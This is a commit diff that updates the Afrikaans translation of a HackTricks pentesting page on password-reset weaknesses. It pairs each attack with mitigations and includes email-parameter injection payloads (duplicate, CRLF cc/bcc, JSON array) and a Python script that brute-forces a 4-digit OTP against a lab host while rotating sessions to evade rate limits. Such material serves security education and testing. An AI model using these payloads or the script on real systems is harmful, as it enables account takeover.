mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/reset-password.md'] to af
This commit is contained in:
parent
17e8df339a
commit
85849139e1
@ -4,26 +4,26 @@
|
||||
|
||||
## **Wagwoord Herstel Token Lek Via Verwysing**
|
||||
|
||||
- Die HTTP referer header mag die wagwoord herstel token lek as dit in die URL ingesluit is. Dit kan gebeur wanneer 'n gebruiker op 'n derdeparty-webwerf skakel nadat hy 'n wagwoord herstel aangevra het.
|
||||
- Die HTTP referer kop kan die wagwoord herstel token lek as dit in die URL ingesluit is. Dit kan gebeur wanneer 'n gebruiker op 'n derdeparty-webwerf skakel na 'n wagwoord herstel versoek.
|
||||
- **Impak**: Potensiële rekening oorname via Cross-Site Request Forgery (CSRF) aanvalle.
|
||||
- **Eksploitatie**: Om te kontroleer of 'n wagwoord herstel token in die referer header lek, **versoek 'n wagwoord herstel** na jou e-posadres en **klik op die herstel skakel** wat verskaf is. **Moet nie jou wagwoord** onmiddellik verander nie. In plaas daarvan, **navigeer na 'n derdeparty-webwerf** (soos Facebook of Twitter) terwyl jy **die versoeke met Burp Suite onderskep**. Ondersoek die versoeke om te sien of die **referer header die wagwoord herstel token bevat**, aangesien dit sensitiewe inligting aan derde partye kan blootstel.
|
||||
- **Eksploitatie**: Om te kontroleer of 'n wagwoord herstel token in die referer kop lek, **versoek 'n wagwoord herstel** na jou e-posadres en **klik op die herstel skakel** wat verskaf is. **Moet nie jou wagwoord** onmiddellik verander nie. In plaas daarvan, **navigeer na 'n derdeparty-webwerf** (soos Facebook of Twitter) terwyl jy **die versoeke met Burp Suite onderskep**. Ondersoek die versoeke om te sien of die **referer kop die wagwoord herstel token bevat**, aangesien dit sensitiewe inligting aan derde partye kan blootstel.
|
||||
- **Verwysings**:
|
||||
- [HackerOne Report 342693](https://hackerone.com/reports/342693)
|
||||
- [HackerOne Report 272379](https://hackerone.com/reports/272379)
|
||||
- [Wagwoord Herstel Token Lek Artikel](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
|
||||
|
||||
## **Wagwoord Herstel Vergiftiging**
|
||||
## **Wagwoord Herstel Besmetting**
|
||||
|
||||
- Aanvallers mag die Host header manipuleer tydens wagwoord herstel versoeke om die herstel skakel na 'n kwaadwillige webwerf te wys.
|
||||
- Aanvallers kan die Host kop manipuleer tydens wagwoord herstel versoeke om die herstel skakel na 'n kwaadwillige webwerf te wys.
|
||||
- **Impak**: Lei tot potensiële rekening oorname deur die lek van herstel tokens aan aanvallers.
|
||||
- **Versagtingsstappe**:
|
||||
- Valideer die Host header teen 'n witlys van toegelate domeine.
|
||||
- Valideer die Host kop teen 'n witlys van toegelate domeine.
|
||||
- Gebruik veilige, bediener-kant metodes om absolute URL's te genereer.
|
||||
- **Patching**: Gebruik `$_SERVER['SERVER_NAME']` om wagwoord herstel URL's te konstrueer in plaas van `$_SERVER['HTTP_HOST']`.
|
||||
- **Plek**: Gebruik `$_SERVER['SERVER_NAME']` om wagwoord herstel URL's te konstrueer in plaas van `$_SERVER['HTTP_HOST']`.
|
||||
- **Verwysings**:
|
||||
- [Acunetix Artikel oor Wagwoord Herstel Vergiftiging](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
||||
- [Acunetix Artikel oor Wagwoord Herstel Besmetting](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
||||
|
||||
## **Wagwoord Herstel Deur E-pos Parameter te Manipuleer**
|
||||
## **Wagwoord Herstel Deur Manipulasie van E-pos Parameter**
|
||||
|
||||
Aanvallers kan die wagwoord herstel versoek manipuleer deur addisionele e-pos parameters by te voeg om die herstel skakel te omlei.
|
||||
|
||||
@ -33,7 +33,7 @@ POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com&email=attacker@email.com
|
||||
```
|
||||
- Voeg aanvaller se e-pos as tweede parameter by met behulp van %20
|
||||
- Voeg aanvaller e-pos as tweede parameter by met %20
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
@ -45,13 +45,13 @@ POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com|email=attacker@email.com
|
||||
```
|
||||
- Voeg aanvaller se e-pos as tweede parameter by gebruik van cc
|
||||
- Voeg die aanvaller se e-pos as tweede parameter by met behulp van cc
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
|
||||
```
|
||||
- Voeg aanvaller e-pos as tweede parameter by gebruik van bcc
|
||||
- Voeg die aanvaller se e-pos as tweede parameter by met bcc
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
@ -69,8 +69,8 @@ POST /resetPassword
|
||||
[...]
|
||||
{"email":["victim@mail.tld","atracker@mail.tld"]}
|
||||
```
|
||||
- **Versagingsstappe**:
|
||||
- Parseer en valideer e-posparameters behoorlik aan die bediener-kant.
|
||||
- **Mitigeringstappe**:
|
||||
- Parse en valideer e-posparameters behoorlik aan die bediener-kant.
|
||||
- Gebruik voorbereide verklarings of geparametriseerde navrae om inspuitaanvalle te voorkom.
|
||||
- **Verwysings**:
|
||||
- [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
|
||||
@ -79,33 +79,33 @@ POST /resetPassword
|
||||
|
||||
## **Verandering van E-pos en Wagwoord van enige Gebruiker deur API Parameters**
|
||||
|
||||
- Aanvallers kan e-pos en wagwoordparameters in API-versoeke wysig om rekeningakkredite te verander.
|
||||
- Aanvallers kan e-pos en wagwoordparameters in API-versoeke wysig om rekeninginligting te verander.
|
||||
```php
|
||||
POST /api/changepass
|
||||
[...]
|
||||
("form": {"email":"victim@email.tld","password":"12345678"})
|
||||
```
|
||||
- **Mitigeringstappe**:
|
||||
- Verseker strikte parametervalidasie en outentikasie kontroles.
|
||||
- Verseker strikte parametervalidasie en outentikasie kontrole.
|
||||
- Implementeer robuuste logging en monitering om verdagte aktiwiteite op te spoor en daarop te reageer.
|
||||
- **Verwysing**:
|
||||
- [Volledige Rekening Oorname via API Parameter Manipulasie](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
|
||||
- [Volledige rekening oorname via API parameter manipulasie](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
|
||||
|
||||
## **Geen Tariefbeperking: E-pos Bombardering**
|
||||
|
||||
- Gebrek aan tariefbeperking op wagwoordherstelversoeke kan lei tot e-pos bombardering, wat die gebruiker oorweldig met herstel e-posse.
|
||||
- Gebrek aan tariefbeperking op wagwoordreset versoeke kan lei tot e-pos bombardering, wat die gebruiker oorweldig met reset e-posse.
|
||||
- **Mitigeringstappe**:
|
||||
- Implementeer tariefbeperking gebaseer op IP-adres of gebruikersrekening.
|
||||
- Gebruik CAPTCHA-uitdagings om geoutomatiseerde misbruik te voorkom.
|
||||
- **Verwysings**:
|
||||
- [HackerOne Verslag 280534](https://hackerone.com/reports/280534)
|
||||
|
||||
## **Vind uit Hoe Wagwoordherstel Token Geproduseer Word**
|
||||
## **Vind uit hoe Wagwoord Reset Token gegenereer word**
|
||||
|
||||
- Om die patroon of metode agter token generasie te verstaan, kan lei tot die voorspel of brute-forcing van tokens. Sommige opsies:
|
||||
- Gebaseer op Tydstempel
|
||||
- Gebaseer op die GebruikerID
|
||||
- Gebaseer op die e-pos van die Gebruiker
|
||||
- Gebaseer op e-pos van die gebruiker
|
||||
- Gebaseer op Voornaam en Van
|
||||
- Gebaseer op Geboortedatum
|
||||
- Gebaseer op Kriptografie
|
||||
@ -116,7 +116,7 @@ POST /api/changepass
|
||||
|
||||
## **Raadbare UUID**
|
||||
|
||||
- As UUID's (weergawe 1) raadsbaar of voorspelbaar is, kan aanvallers dit brute-force om geldige herstel tokens te genereer. Kontroleer:
|
||||
- As UUID's (weergawe 1) raadsbaar of voorspelbaar is, kan aanvallers dit brute-force om geldige reset tokens te genereer. Kontroleer:
|
||||
|
||||
{{#ref}}
|
||||
uuid-insecurities.md
|
||||
@ -124,47 +124,111 @@ uuid-insecurities.md
|
||||
|
||||
- **Mitigeringstappe**:
|
||||
- Gebruik GUID weergawe 4 vir ewekansigheid of implementeer addisionele sekuriteitsmaatreëls vir ander weergawes.
|
||||
- **Gereedskap**: Gebruik [guidtool](https://github.com/intruder-io/guidtool) vir die analise en generasie van GUID's.
|
||||
- **Gereedskap**: Gebruik [guidtool](https://github.com/intruder-io/guidtool) om GUID's te analiseer en te genereer.
|
||||
|
||||
## **Antwoord Manipulasie: Vervang Slegte Antwoord Met Goeie Een**
|
||||
## **Antwoord Manipulasie: Vervang Slegte Antwoord met Goeie Een**
|
||||
|
||||
- Manipuleer HTTP-antwoorde om foutboodskappe of beperkings te omseil.
|
||||
- **Mitigeringstappe**:
|
||||
- Implementeer bediener-kant kontroles om antwoordintegriteit te verseker.
|
||||
- Gebruik veilige kommunikasiekanale soos HTTPS om man-in-the-middle-aanvalle te voorkom.
|
||||
- Gebruik veilige kommunikasiekanale soos HTTPS om man-in-the-middle aanvalle te voorkom.
|
||||
- **Verwysing**:
|
||||
- [Kritieke Fout in Live Bug Bounty Gebeurtenis](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
|
||||
|
||||
## **Gebruik van Verloop Token**
|
||||
|
||||
- Toets of vervalde tokens steeds gebruik kan word vir wagwoordherstel.
|
||||
- Toets of verlopen tokens steeds gebruik kan word vir wagwoordreset.
|
||||
- **Mitigeringstappe**:
|
||||
- Implementeer strikte token vervaldatabele en valideer token vervaldatum aan die bedienerkant.
|
||||
- Implementeer strikte token verloopbeleide en valideer token vervaldatum bediener-kant.
|
||||
|
||||
## **Brute Force Wagwoordherstel Token**
|
||||
## **Brute Force Wagwoord Reset Token**
|
||||
|
||||
- Poging om die herstel token te brute-force met gereedskap soos Burpsuite en IP-Rotator om IP-gebaseerde tariefbeperkings te omseil.
|
||||
- Poging om die reset token te brute-force met gereedskap soos Burpsuite en IP-Rotator om IP-gebaseerde tariefbeperkings te omseil.
|
||||
- **Mitigeringstappe**:
|
||||
- Implementeer robuuste tariefbeperking en rekening sluiting meganismes.
|
||||
- Monitor vir verdagte aktiwiteite wat dui op brute-force aanvalle.
|
||||
|
||||
## **Probeer Jou Token Gebruik**
|
||||
## **Probeer om Jou Token te Gebruik**
|
||||
|
||||
- Toets of 'n aanvaller se herstel token gebruik kan word saam met die slagoffer se e-pos.
|
||||
- Toets of 'n aanvaller se reset token gebruik kan word saam met die slagoffer se e-pos.
|
||||
- **Mitigeringstappe**:
|
||||
- Verseker dat tokens aan die gebruikersessie of ander gebruikerspesifieke eienskappe gebind is.
|
||||
- Verseker dat tokens aan die gebruikersessie of ander gebruikersspesifieke eienskappe gebind is.
|
||||
|
||||
## **Sessie Ongeldigmaking by Afmelding/Wagwoordherstel**
|
||||
## **Sessie Ongeldigmaking by Afmelding/Wagwoord Reset**
|
||||
|
||||
- Verseker dat sessies ongeldig gemaak word wanneer 'n gebruiker afmeld of sy wagwoord herstel.
|
||||
- Verseker dat sessies ongeldig gemaak word wanneer 'n gebruiker afmeld of sy wagwoord reset.
|
||||
- **Mitigeringstappe**:
|
||||
- Implementeer behoorlike sessiebestuur, wat verseker dat alle sessies ongeldig gemaak word by afmelding of wagwoordherstel.
|
||||
- Implementeer behoorlike sessiebestuur, wat verseker dat alle sessies ongeldig gemaak word by afmelding of wagwoord reset.
|
||||
|
||||
## **Sessie Ongeldigmaking by Afmelding/Wagwoordherstel**
|
||||
## **Sessie Ongeldigmaking by Afmelding/Wagwoord Reset**
|
||||
|
||||
- Herstel tokens moet 'n vervaldatum hê waarna hulle ongeldig word.
|
||||
- Reset tokens moet 'n vervaldatum hê waarna hulle ongeldig word.
|
||||
- **Mitigeringstappe**:
|
||||
- Stel 'n redelike vervaldatum vir herstel tokens in en handhaaf dit streng aan die bedienerkant.
|
||||
- Stel 'n redelike vervaldatum vir reset tokens in en handhaaf dit streng bediener-kant.
|
||||
|
||||
## **OTP tariefbeperking omseiling deur jou sessie te verander**
|
||||
|
||||
- As die webwerf 'n gebruikersessie gebruik om verkeerde OTP pogings te volg en die OTP swak was (<= 4 syfers), kan ons effektief die OTP brute-force.
|
||||
- **uitbuiting**:
|
||||
- vra net 'n nuwe sessietoken aan nadat jy deur die bediener geblokkeer is.
|
||||
- **Voorbeeld** kode wat hierdie fout uitbuit deur die OTP lukraak te raai (wanneer jy die sessie verander, sal die OTP ook verander, en so sal ons nie in volgorde kan brute-force nie!):
|
||||
|
||||
``` python
|
||||
# Outentikasie omseiling deur wagwoord reset
|
||||
# deur coderMohammed
|
||||
import requests
|
||||
import random
|
||||
from time import sleep
|
||||
|
||||
headers = {
|
||||
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
|
||||
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
|
||||
}
|
||||
url = "http://10.10.12.231:1337/reset_password.php"
|
||||
logout = "http://10.10.12.231:1337/logout.php"
|
||||
root = "http://10.10.12.231:1337/"
|
||||
|
||||
parms = dict()
|
||||
ter = 0
|
||||
phpsessid = ""
|
||||
|
||||
print("[+] Begin aanval!")
|
||||
sleep(3)
|
||||
print("[+] Dit kan ongeveer 5 minute neem om te voltooi!")
|
||||
|
||||
try:
|
||||
while True:
|
||||
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # lukrake nommer van 0 - 9999 met 4 d
|
||||
parms["s"] = 164 # nie belangrik nie, dit beïnvloed net die frontend
|
||||
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)
|
||||
|
||||
if ter == 8: # volg aantal pogings
|
||||
out = requests.get(logout,headers=headers) # log jou uit
|
||||
mainp = requests.get(root) # kry 'n ander phpssid (token)
|
||||
|
||||
cookies = out.cookies # onttrek die sessionid
|
||||
phpsessid = cookies.get('PHPSESSID')
|
||||
headers["cookies"]=f"PHPSESSID={phpsessid}" #werk die headers met nuwe sessie op
|
||||
|
||||
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # stuur die e-pos om die wagwoord te verander vir
|
||||
ter = 0 # reset ter sodat ons 'n nuwe sessie kry na 8 pogings
|
||||
else:
|
||||
ter += 1
|
||||
if(len(res.text) == 2292): # dit is die lengte van die bladsy wanneer jy die herstelkode korrek kry (gekry deur te toets)
|
||||
print(len(res.text)) # vir foutopsporing
|
||||
print(phpsessid)
|
||||
|
||||
reset_data = { # hier sal ons die wagwoord na iets nuut verander
|
||||
"new_password": "D37djkamd!",
|
||||
"confirm_password": "D37djkamd!"
|
||||
}
|
||||
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)
|
||||
|
||||
print("[+] Wagwoord is verander na:D37djkamd!")
|
||||
break
|
||||
except Exception as e:
|
||||
print("[+] Aanval gestop")
|
||||
```
|
||||
|
||||
## Verwysings
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user